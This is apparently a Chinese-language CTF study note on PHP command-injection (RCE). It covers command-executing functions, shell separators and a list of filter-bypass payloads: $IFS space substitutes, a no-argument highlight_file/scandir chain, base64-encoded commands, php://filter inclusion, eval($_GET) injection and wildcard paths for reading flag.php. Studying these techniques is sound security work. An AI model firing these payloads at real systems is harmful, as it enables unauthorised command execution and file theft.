RCE命令执行
基本概念
当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如 PHP 中的 system
、exec
、shell_exec
等,当用户可以控制命令执行函数中的参数时,将可以注入恶意系统命令到正常命令中,造成命令执行攻击。
漏洞产生条件
- 调用第三方组件存在代码执行漏洞
- 用户的输入作为系统命令的参数拼接到命令中
- 对用户的输入过滤不严格
常用的Linux命令
执行函数
system()
直接在终端打印返回结果,成功则返回命令输出的最后一行,失败则返回FALSEpassthru()
执行外部程序并且显示原始输出,只调用命令,不返回任何结果,但把命令的运行结果原样地直接输出到标准输出设备上。exec()
执行一个外部程序,命令执行结果的最后一行内容。pcntl_exec()
在当前进程空间执行指定程序shell_exec()
命令执行的输出。如果执行过程中发生错误或者进程不产生输出,则返回NULL。popen()
函数不会直接返回执行结果,而是返回一个文件指针,但是命令已经执行。proc_open()
与popen()
函数相似,区别是前者提供的是双向通道- 反引号与
shell_exec
功能相同,执行shell
命令并返回输出的字符串。(``) ob_start()
用于打开缓冲区,开始输出缓冲, 这时PHP停止输出, 在这以后的输出都被转到一个内部的缓冲里。
命令连接符
主要是有; | || & &&
这几种
command1&command2 两个命令同时执行
command1&&command2 只有前面命令执行成功,后面命令才继续执行
command1;command2 不管前面命令执行成功没有,后面的命令继续执行
command1||command2 顺序执行多条命令,当碰到执行正确的命令后将不执行后面的命令
command1|command2 上一条命令的输出,作为下一条命令参数
模糊匹配
?与*
*可以匹配多个字符,?只能匹配一个字符
常用读取文件命令
cat
tac
nl
more
head
less
tail
od
pr
绕过空格过滤
{cat,flag.php} //cat flag.php
%20 空格的url编码
%09 tab键
%0a 回车
\$IFS\$9
\${IFS}
$IFS
${IFS}
<
无参数的RCE
highlight_file(next(array_reverse(scandir(pos(localeconv())))));
需要用到的函数
localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)
scandir():获取目录下的文件,scandir(.):获取当前目录下所有文件
pos():返回数组中的当前元素的值。
array_reverse():数组逆序
next(): 函数将内部指针指向数组中的下一个元素,并输出。
highlight_file():函数进行文件内容的读取,并输出
各种绕过姿势
使用转义符号
ca\t /fl\ag
cat fl''ag
拼接法
a=fl;b=ag;cat$IFS$a$b
反引号绕过
cat `ls`//cat system("ls");
base64编码绕过
`echo Y2F0Cg==|base64 -d` flag
//cat的base64编码为Y2F0Cg==
配合文件包含
include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
配合传参
eval($_GET[1]);&1=system("ls%20/");
拷贝文件或者修改文件名
system("cp fla*.php 1.txt");
system("mv fla*.php 1.txt");
调用/bin
/bin/?at${IFS}f???????
在Linux中,/bin是安装基本系统管理命令和二进制文件的文件夹。这些二进制文件是指执行文件,通常包含在系统启动过程中需要的工具和命令行工具。/bin目录中包含了大量的基本命令和工具,包括:
\1. bash - 标准的命令行Shell
\2. cat - 将文件内容输出到屏幕
\3. cp - 复制文件
\4. date - 显示或设置系统时间
\5. mv - 移动或重命名文件
\6. pwd - 显示当前所在的工作目录
\7. rm - 删除文件或目录
\8. touch - 新建空白文件或更改文件的访问和修改时间
可以构造/bin/base64 fla*.php
进而进行简化成/???/????64 ????.???